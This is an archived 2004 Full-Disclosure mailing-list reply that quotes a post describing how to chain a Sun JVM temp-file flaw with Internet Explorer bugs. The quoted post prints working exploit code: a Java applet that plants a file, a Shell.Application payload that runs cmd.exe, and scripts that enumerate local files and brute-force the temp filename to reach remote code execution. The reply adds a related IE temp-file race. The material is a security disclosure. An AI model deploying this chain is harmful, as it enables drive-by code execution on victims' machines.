[Full-Disclosure] Another IE trick (Re: IE sucks : sun java virtual machine insecure tmp file creation)

• Previous message: Gary Flynn: "Re: [Full-Disclosure] Mozilla Security Advisory 2004-07-08"
• In reply to: Jelmer: "[Full-Disclosure] IE sucks : sun java virtual machine insecure tmp file creation"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]

To: Jelmer <jkuperus@planet.nl>
Date: Fri, 9 Jul 2004 18:14:42 +0400

Dear Jelmer,

There is another nearly same, but more dangerous attack scenario
(because it works under default XP installation): if [script
src="bla-bla-bla"] tag is used on HTML page IE (at least 5.5 and 6.0)
creates temporary HTML file in TEMP folder (instead of "Temporary
Internet Files") with content of the script file. After script file
download completes it's removed. Name of the file looks like
Script_15d87001.html. Digits are constantly increasing, so it looks like
a kind of timestamp with no randomness at all. Because remote file
download process is controlled by remote side (and it's trivial for HTTP
server to "hang" connection after actual data is sent) it's possible to
exploit it in a same way.

Exploitation of "Temp" folder content may be really interesting issue.
You can also try to exploit mail agent by sending large message with
script in the beginning to user while he is browsing your site and catch
race condition while message exists in Temp folder. Multiple MUAs store
temporary files in Temp with predictable names.

Best solution for MS in this case - to have "Temp" folder related to
Internet zone like "Temporary Internet Files" is.

But I still believe that having file in predictable location on your own
host is not a crime. And _real_ bug is one pointed by Http-equiv.

--Friday, July 9, 2004, 4:01:10 PM, you wrote to full-disclosure@lists.netsys.com:

J> INTRODUCTION

J>  

J> Actually I wasn't really sure if I ought to post this, butafter
J> some consideration I decided that it might serve as an example of
J> thecompletely messed up state we find internet explorer in today.

J>  

J> There's a very minor issue with the way the sun java
J> virtualmachine creates temporary files from applets. IE blows it off
J> the chart, combiningthis with some unresolved issues in IE can lead
J> to remote code execution

J>  

J> DETAILS

J>  

J> A couple of days back Marc Schoenefeld posted an advisoryabout an
J> implementation flaw in the sun java virtual machine.
J> By passing a specially crafted byte array to the Font.createFont
J> method youcould get the whole vm to crash

J>  

J> My partner in crime HTTP-EQUIV was investigating this reportwhen
J> he noticed that this demo created a temporary file in his temp
J> foldercalled

J>  

J> +~JFxxxxx.tmp

J> Where xxxxx is a random 5 digit number, He mailed me to sayhey take a look at this

J> I decompiled marcs class and noticed  that the .tmpfile being
J> created contained the exact contents of the byte array that gotpassed
J> to Font.createFont

J>  

J> Now If you can create a file on someone's disk drive and getyour
J> browser to render it, we've got our selves something

J>  

J> Ok creating an applet that creates the file on a users disk driveis trivial

J>  

J> import java.applet.Applet;

J> import java.awt.Font;

J> import java.net.URL;

J> import netscape.javascript.JSObject;

J>  

J> public class Jelmer extends Applet {

J>  

J> public void init() {

J>  

J> try {

J>   Font f = Font.createFont(Font.TRUETYPE_FONT,new  
J> URL(getParameter("infile")).openStream());

J> } catch(Exception ignored) {}

J>  

J> try {

J> JSObject jsWin = JSObject.getWindow(this);

J> jsWin.call("doneloading", new Object[]{});

J>  

J> } catch(Exception e) {

J> e.printStackTrace();

J> }

J> }

J> }

J>  

J> This applet creates the file from the url it get's passed asa
J> parameter and calls the javascript function doneloading when it's done

J>  

J> We opt to store a file with these contents to the temp

J>  

J> <script language=JScript>

J> o=new ActiveXObject('Shell.Application');

J> o.ShellExecute('cmd.exe','/c pause');

J> </script>

J>  

J> Http-equiv's jan 1 Shell.Application bug

J>  

J> http://www.securityfocus.com/archive/1/348688/2003-12-31/2004-01-06/0

J> Now we have to deal with the random filename, no problem,modern
J> computers are pretty fast, and the random portion of the filename
J> isonly 5 digit's,

J> Using an old
J> bug(http://lists.netsys.com/pipermail/full-disclosure/2004-February/016881.html)to
J> check for the existence of local files we can run thu every
J> possibility in acouple of seconds like this

J>  

J> <script language="vbscript">

J> Function Exists(filename)

J> On Error Resume Next

J> LoadPicture(filename)

J> Exists = Err.Number = 481

J> End Function

J> </script>

J>  

J> <script language="JScript">

J> function doneloading() {

J> dir = 'C:\\Documents and Settings\\USERNAME\\LocalSettings\\Temp\\'

J> for (i=0;i<100000;i++) {

J> filename = '+~JF' + i + '.tmp'

J> if (Exists(dir + filename)) {

J> document.body.insertAdjacentHTML('afterBegin',
J> '<iframestyle="display:none;"
J> src="shell:profile\\LocalSettings\\Temp\\' + filename +
J> '"></iframe>');

J> }

J> }

J> }

J> </script>

J>  

J> Bang! We would have remote code execution, well at least ifwe'd
J> know the username :) Well that's not an issue
J> either(http://seclists.org/bugtraq/2004/Jun/0308.html)

J>  

J> It's the final ingredient we needed

J>  

J> DEMO

J>  

J> http://poc.homedns.org/execute.htm

J>  

J> I am aware that this demo will work for some and won't forothers,
J> I haven't been able to put my finger on it as to why this is, you
J> don'thave to mail me if it's not working for you

J>  

J> CONCLUSION

J> Well what can I say.. I am not even sure if I can blame sun for
J> this, in anysensible browser this wouldn’t have been exploitable
J> Everything and anything becomes exploitable running in IE it’s just that badcurrently

J> For the love of god people, just stop using IE

J>  

J> Shell.application bug : 7 months old

J> Local fine enumeration bug : 6 months old

J> zone spoofing bug  : 1 months old

J> Insecure by design : timeless

J>  

J> In reflection this week an issue was found with the mozillaweb
J> browser, it was dealt with within *2 DAYS*

J>  

J> first discussed FD mailing list: Wed, 7 Jul 200411:26:19 -0500

J> http://lists.netsys.com/pipermail/full-disclosure/2004-July/023573.html

J> Followup 24 hours later onf FD mailing list: Thu, 8 Jul 200415:20:52 -0400

J> http://lists.netsys.com/pipermail/full-disclosure/2004-July/023639.html

J> Mozzila Patch annoucement same day on FD:Thu, 8 Jul 200422:36:48 GMT

J> http://lists.netsys.com/pipermail/full-disclosure/2004-July/023645.html

J>  

-- 
~/ZARAZA
Åñëè äàæå âû ïîëó÷èòå êàêîå-íèáóäü ïèñüìî, âû âñå ðàâíî íå ñóìååòå åãî ïðî÷èòàòü. (Òâåí)
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

• Previous message: Gary Flynn: "Re: [Full-Disclosure] Mozilla Security Advisory 2004-07-08"
• In reply to: Jelmer: "[Full-Disclosure] IE sucks : sun java virtual machine insecure tmp file creation"
• Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]